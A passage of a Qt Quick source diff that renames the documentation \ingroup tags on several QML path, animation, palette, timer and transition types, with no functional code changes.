-979,7 +979,7 @@ void QQuickPathLine::addToPath(QPainterPath &path, const QQuickPathData &data) /*! \qmlclass PathQuad QQuickPathQuad \inqmlmodule QtQuick 2 - \ingroup qtquick-paths + \ingroup qtquick-animation-paths \brief Defines a quadratic Bezier curve with a control point The following QML produces the path shown below: @@ -1130,7 +1130,7 @@ void QQuickPathQuad::addToPath(QPainterPath &path, const QQuickPathData &data) /*! \qmlclass PathCubic QQuickPathCubic \inqmlmodule QtQuick 2 - \ingroup qtquick-paths + \ingroup qtquick-animation-paths \brief Defines a cubic Bezier curve with two control points The following QML produces the path shown below: @@ -1353,7 +1353,7 @@ void QQuickPathCubic::addToPath(QPainterPath &path, const QQuickPathData &data) /*! \qmlclass PathCurve QQuickPathCurve \inqmlmodule QtQuick 2 - \ingroup qtquick-paths + \ingroup qtquick-animation-paths \brief Defines a point on a Catmull-Rom curve PathCurve provides an easy way to specify a curve passing directly through a set of points. @@ -1498,7 +1498,7 @@ void QQuickPathCatmullRomCurve::addToPath(QPainterPath &path, const QQuickPathDa /*! \qmlclass PathArc QQuickPathArc \inqmlmodule QtQuick 2 - \ingroup qtquick-paths + \ingroup qtquick-animation-paths \brief Defines an arc with the given radius PathArc provides a simple way of specifying an arc that ends at a given position @@ -1668,7 +1668,7 @@ void QQuickPathArc::addToPath(QPainterPath &path, const QQuickPathData &data) /*! \qmlclass PathSvg QQuickPathSvg \inqmlmodule QtQuick 2 - \ingroup qtquick-paths + \ingroup qtquick-animation-paths \brief Defines a path using an SVG path data string The following QML produces the path shown below: @@ -1720,7 +1720,7 @@ void QQuickPathSvg::addToPath(QPainterPath &path, const QQuickPathData &) /*! \qmlclass PathPercent QQuickPathPercent \inqmlmodule QtQuick 2 - \ingroup qtquick-paths + \ingroup qtquick-animation-paths \brief Manipulates the way a path is interpreted PathPercent allows you to manipulate the spacing between items on a diff --git a/src/quick/util/qquicksmoothedanimation.cpp b/src/quick/util/qquicksmoothedanimation.cpp index b4986c0479..49dce04db3 100644 --- a/src/quick/util/qquicksmoothedanimation.cpp +++ b/src/quick/util/qquicksmoothedanimation.cpp @@ -309,7 +309,7 @@ void QSmoothedAnimation::init() /*! \qmlclass SmoothedAnimation QQuickSmoothedAnimation \inqmlmodule QtQuick 2 - \ingroup qtquick-animation-properties + \ingroup qtquick-transitions-animations \inherits NumberAnimation \brief Allows a property to smoothly track a value diff --git a/src/quick/util/qquickspringanimation.cpp b/src/quick/util/qquickspringanimation.cpp index 3e0a1ce755..413f95edb3 100644 --- a/src/quick/util/qquickspringanimation.cpp +++ b/src/quick/util/qquickspringanimation.cpp @@ -342,7 +342,7 @@ void QQuickSpringAnimationPrivate::updateMode() /*! \qmlclass SpringAnimation QQuickSpringAnimation \inqmlmodule QtQuick 2 - \ingroup qtquick-animation-properties + \ingroup qtquick-transitions-animations \inherits NumberAnimation \brief Allows a property to track a value in a spring-like motion diff --git a/src/quick/util/qquicksystempalette.cpp b/src/quick/util/qquicksystempalette.cpp index 1cbde6ef5a..b500f204f0 100644 --- a/src/quick/util/qquicksystempalette.cpp +++ b/src/quick/util/qquicksystempalette.cpp @@ -59,7 +59,7 @@ public: /*! \qmlclass SystemPalette QQuickSystemPalette \inqmlmodule QtQuick 2 - \ingroup qtquick-utility + \ingroup qtquick-visual-utility \brief Provides access to the Qt palettes The SystemPalette element provides access to the Qt application diff --git a/src/quick/util/qquicktimer.cpp b/src/quick/util/qquicktimer.cpp index 84ede7b038..88dc0790d9 100644 --- a/src/quick/util/qquicktimer.cpp +++ b/src/quick/util/qquicktimer.cpp @@ -75,7 +75,7 @@ public: /*! \qmlclass Timer QQuickTimer \inqmlmodule QtQuick 2 - \ingroup qtquick-utility + \ingroup qtquick-interceptors \brief Triggers a handler at a specified interval A Timer can be used to trigger an action either once, or repeatedly diff --git a/src/quick/util/qquicktransition.cpp b/src/quick/util/qquicktransition.cpp index 2431642082..de32fefd18 100644 --- a/src/quick/util/qquicktransition.cpp +++ b/src/quick/util/qquicktransition.cpp @@ -55,7 +55,7 @@ QT_BEGIN_NAMESPACE /*! \qmlclass Transition QQuickTransition \inqmlmodule QtQuick 2 - \ingroup qtquick-animation-define + \ingroup qtquick-transitions-animations \brief Defines animated transitions that occur on state changes A Transition defines the animations to be applied when a \l State change occurs. |